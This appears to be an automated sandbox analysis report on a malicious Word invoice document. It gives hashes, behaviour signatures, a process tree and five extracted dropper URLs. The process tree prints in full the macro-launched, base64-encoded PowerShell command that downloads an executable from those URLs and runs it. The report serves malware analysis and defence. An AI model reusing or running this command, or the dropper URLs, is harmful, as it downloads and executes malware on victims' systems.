Analysis

  • max time kernel
    103s
  • max time network
    33s
  • platform
    windows7_x64
  • resource
    win7-20230621-en
  • resource tags

    arch:x64arch:x86image:win7-20230621-enlocale:en-usos:windows7-x64system
  • submitted
    30-06-2023 15:11

General

  • Target

    InvoiceG4969162doc.doc

  • Size

    230KB

  • MD5

    1b661c46bc3352c7e2362ba4854d219a

  • SHA1

    9cbe40cff5576408c2cc83946489316f43963409

  • SHA256

    b9d2bc9624f1e81b007fd1d89170294eb6eb29c779f83f4e75576a0fa3fa421a

  • SHA512

    d92df1c0fedab8b4416e83f33f6a85714cf91221c1cdda0f224c93de5a662dfecd97cab66dfac0d839799aa47b82ca1226ecbb99d597a7fdb434f15f6b16636a

  • SSDEEP

    3072:cj6yw1MgpQiBhGWb6esLbTh8YuyDRBFtdfGkzRVLmgGjMBwwDR2C:cHgtEWPsL/aTyT9Gk1u0wwDRR

Score
10/10

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

http://slotenservice-24-7-actief.nl/crjns/LODRmgim/

exe.dropper

https://zubk.net/wp-content/plugins/gallery-plugin/upload/files/vDXbZpIep/

exe.dropper

http://yourcomputerneeds.net/wp-admin/JXjqdXqT/

exe.dropper

http://lansec.com.br/rkz_wgz_2mw77xw/NxS/

exe.dropper

http://larrysmith.com/old-files/djrowrumw34o8s80545998/

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Blocklisted process makes network request 8 IoCs
  • Drops file in System32 directory 1 IoCs
  • Drops file in Windows directory 1 IoCs
  • Office loads VBA resources, possible macro or embedded object present
  • Modifies Internet Explorer settings 1 TTPs 31 IoCs
  • Modifies registry class 64 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 2 IoCs
  • Suspicious use of WriteProcessMemory 4 IoCs

Processes

  • C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE
    "C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\InvoiceG4969162doc.doc"
    1⤵
    • Drops file in Windows directory
    • Modifies Internet Explorer settings
    • Modifies registry class
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:108
    • C:\Windows\splwow64.exe
      C:\Windows\splwow64.exe 12288
      2⤵
        PID:1272
    • C:\Windows\System32\WindowsPowerShell\v1.0\powersheLL.exe
      powersheLL -e JABFAHQAeQBlAGEAegA5AD0AJwBZAHgAZQBwAGUAZQBwACcAOwBbAE4AZQB0AC4AUwBlAHIAdgBpAGMAZQBQAG8AaQBuAHQATQBhAG4AYQBnAGUAcgBdADoAOgAiAHMARQBDAFUAcgBJAHQAYABZAGAAUABSAG8AdABvAGMAYABvAGwAIgAgAD0AIAAnAHQAbABzADEAMgAsACAAdABsAHMAMQAxACwAIAB0AGwAcwAnADsAJABZAGEAZwBiAHgAZQB6ACAAPQAgACcAUQByAHAAbwAnADsAJABIAHgAbAAzAG0AMgA1AD0AJwBLAHIAMwA2AG4AegAyACcAOwAkAFcAcQA2AGsAOABoADYAPQAkAGUAbgB2ADoAdABlAG0AcAArACcAXAAnACsAJABZAGEAZwBiAHgAZQB6ACsAJwAuAGUAeABlACcAOwAkAFgAZQBpAGcAcwB6AG4APQAnAEIAcAB4ADYAdwB1AG8AJwA7ACQARgA4ADUAcAA2AGUAOQA9ACYAKAAnAG4AZQB3AC0AbwAnACsAJwBiAGoAJwArACcAZQBjAHQAJwApACAAbgBlAFQALgBXAEUAYgBDAGwAaQBlAE4AdAA7ACQAWgBnAHMANABzAHYAdAA9ACcAaAB0AHQAcAA6AC8ALwBzAGwAbwB0AGUAbgBzAGUAcgB2AGkAYwBlAC0AMgA0AC0ANwAtAGEAYwB0AGkAZQBmAC4AbgBsAC8AYwByAGoAbgBzAC8ATABPAEQAUgBtAGcAaQBtAC8AKgBoAHQAdABwAHMAOgAvAC8AegB1AGIAawAuAG4AZQB0AC8AdwBwAC0AYwBvAG4AdABlAG4AdAAvAHAAbAB1AGcAaQBuAHMALwBnAGEAbABsAGUAcgB5AC0AcABsAHUAZwBpAG4ALwB1AHAAbABvAGEAZAAvAGYAaQBsAGUAcwAvAHYARABYAGIAWgBwAEkAZQBwAC8AKgBoAHQAdABwADoALwAvAHkAbwB1AHIAYwBvAG0AcAB1AHQAZQByAG4AZQBlAGQAcwAuAG4AZQB0AC8AdwBwAC0AYQBkAG0AaQBuAC8ASgBYAGoAcQBkAFgAcQBUAC8AKgBoAHQAdABwADoALwAvAGwAYQBuAHMAZQBjAC4AYwBvAG0ALgBiAHIALwByAGsAegBfAHcAZwB6AF8AMgBtAHcANwA3AHgAdwAvAE4AeABTAC8AKgBoAHQAdABwADoALwAvAGwAYQByAHIAeQBzAG0AaQB0AGgALgBjAG8AbQAvAG8AbABkAC0AZgBpAGwAZQBzAC8AZABqAHIAbwB3AHIAdQBtAHcAMwA0AG8AOABzADgAMAA1ADQANQA5ADkAOAAvACcALgAiAFMAcABgAGwAaQBUACIAKABbAGMAaABhAHIAXQA0ADIAKQA7ACQATwBqAGsAdABpADgANAA9ACcAVgBxADMAcQA3AGsAYwAnADsAZgBvAHIAZQBhAGMAaAAoACQAWgBiAGkAOAA1AHYAagAgAGkAbgAgACQAWgBnAHMANABzAHYAdAApAHsAdAByAHkAewAkAEYAOAA1AHAANgBlADkALgAiAGQATwBgAHcAYABOAGwAbwBhAGAAZABGAGkAbABFACIAKAAkAFoAYgBpADgANQB2AGoALAAgACQAVwBxADYAawA4AGgANgApADsAJABKAGUAMQB0AG8AbgA4AD0AJwBHAGIAegA4AGQAXwA3ACcAOwBJAGYAIAAoACgALgAoACcARwAnACsAJwBlAHQALQBJAHQAJwArACcAZQBtACcAKQAgACQAVwBxADYAawA4AGgANgApAC4AIgBMAGAARQBOAGAAZwB0AGgAIgAgAC0AZwBlACAAMwA2ADgAOQAxACkAIAB7ACYAKAAnAEkAbgAnACsAJwB2AG8AawBlAC0AJwArACcASQAnACsAJwB0AGUAbQAnACkAKAAkAFcAcQA2AGsAOABoADYAKQA7ACQAVABrAGQAcABoAGMAYQA9ACcAWQBtAGMAOAA4AHAANAAnADsAYgByAGUAYQBrADsAJABGAHIAcgA1ADYAeABoAD0AJwBSAGsAaABoADcAZwA2ACcAfQB9AGMAYQB0AGMAaAB7AH0AfQAkAFkAbgBlAF8AMABhAGcAPQAnAFMAaABwAGEANgB5AG4AJwA=
      1⤵
      • Process spawned unexpected child process
      • Blocklisted process makes network request
      • Drops file in System32 directory
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:1060

    Network

    MITRE ATT&CK Enterprise v6

    Replay Monitor

    Loading Replay Monitor...

    Downloads

    • C:\Users\Admin\AppData\Roaming\Microsoft\Templates\Normal.dotm

      Filesize

      20KB

      MD5

      6d8969088a518e69de1d885dbc48fd15

      SHA1

      a72ce081b3e14bcfae3849bafdf15cfeec5b6f33

      SHA256

      30a8170e18e45b514f53e205d9c8157fb251abd1c2ef276d8c6503cf3e52878c

      SHA512

      357ea3a5037bb2bca72fdae01c04128ef22690680482fbf8d0e8d5a44d4c8cefbee90ba74d328057c93c6e4101993929f92e573d2b45753dd06c60f5d8d60343

    • memory/108-78-0x00000000004A0000-0x00000000005A0000-memory.dmp

      Filesize

      1024KB

    • memory/108-113-0x000000005FFF0000-0x0000000060000000-memory.dmp

      Filesize

      64KB

    • memory/108-77-0x00000000004A0000-0x00000000005A0000-memory.dmp

      Filesize

      1024KB

    • memory/108-63-0x00000000004A0000-0x00000000005A0000-memory.dmp

      Filesize

      1024KB

    • memory/108-62-0x00000000004A0000-0x00000000005A0000-memory.dmp

      Filesize

      1024KB

    • memory/108-64-0x00000000004A0000-0x00000000005A0000-memory.dmp

      Filesize

      1024KB

    • memory/108-65-0x00000000004A0000-0x00000000005A0000-memory.dmp

      Filesize

      1024KB

    • memory/108-66-0x00000000004A0000-0x00000000005A0000-memory.dmp

      Filesize

      1024KB

    • memory/108-67-0x00000000004A0000-0x00000000005A0000-memory.dmp

      Filesize

      1024KB

    • memory/108-74-0x00000000004A0000-0x00000000005A0000-memory.dmp

      Filesize

      1024KB

    • memory/108-75-0x00000000004A0000-0x00000000005A0000-memory.dmp

      Filesize

      1024KB

    • memory/108-73-0x00000000004A0000-0x00000000005A0000-memory.dmp

      Filesize

      1024KB

    • memory/108-72-0x00000000004A0000-0x00000000005A0000-memory.dmp

      Filesize

      1024KB

    • memory/108-76-0x0000000005C70000-0x0000000005D70000-memory.dmp

      Filesize

      1024KB

    • memory/108-61-0x00000000004A0000-0x00000000005A0000-memory.dmp

      Filesize

      1024KB

    • memory/108-79-0x00000000004A0000-0x00000000005A0000-memory.dmp

      Filesize

      1024KB

    • memory/108-60-0x00000000004A0000-0x00000000005A0000-memory.dmp

      Filesize

      1024KB

    • memory/108-80-0x00000000004A0000-0x00000000005A0000-memory.dmp

      Filesize

      1024KB

    • memory/108-81-0x00000000004A0000-0x00000000005A0000-memory.dmp

      Filesize

      1024KB

    • memory/108-82-0x00000000004A0000-0x00000000005A0000-memory.dmp

      Filesize

      1024KB

    • memory/108-83-0x00000000004A0000-0x00000000005A0000-memory.dmp

      Filesize

      1024KB

    • memory/108-84-0x00000000004A0000-0x00000000005A0000-memory.dmp

      Filesize

      1024KB

    • memory/108-54-0x000000005FFF0000-0x0000000060000000-memory.dmp

      Filesize

      64KB

    • memory/108-59-0x00000000004A0000-0x00000000005A0000-memory.dmp

      Filesize

      1024KB

    • memory/108-96-0x0000000005C70000-0x0000000005D70000-memory.dmp

      Filesize

      1024KB

    • memory/1060-93-0x0000000002920000-0x00000000029A0000-memory.dmp

      Filesize

      512KB

    • memory/1060-94-0x0000000002920000-0x00000000029A0000-memory.dmp

      Filesize

      512KB

    • memory/1060-95-0x0000000002920000-0x00000000029A0000-memory.dmp

      Filesize

      512KB

    • memory/1060-92-0x0000000002920000-0x00000000029A0000-memory.dmp

      Filesize

      512KB

    • memory/1060-91-0x0000000002570000-0x0000000002578000-memory.dmp

      Filesize

      32KB

    • memory/1060-90-0x000000001B230000-0x000000001B512000-memory.dmp

      Filesize

      2.9MB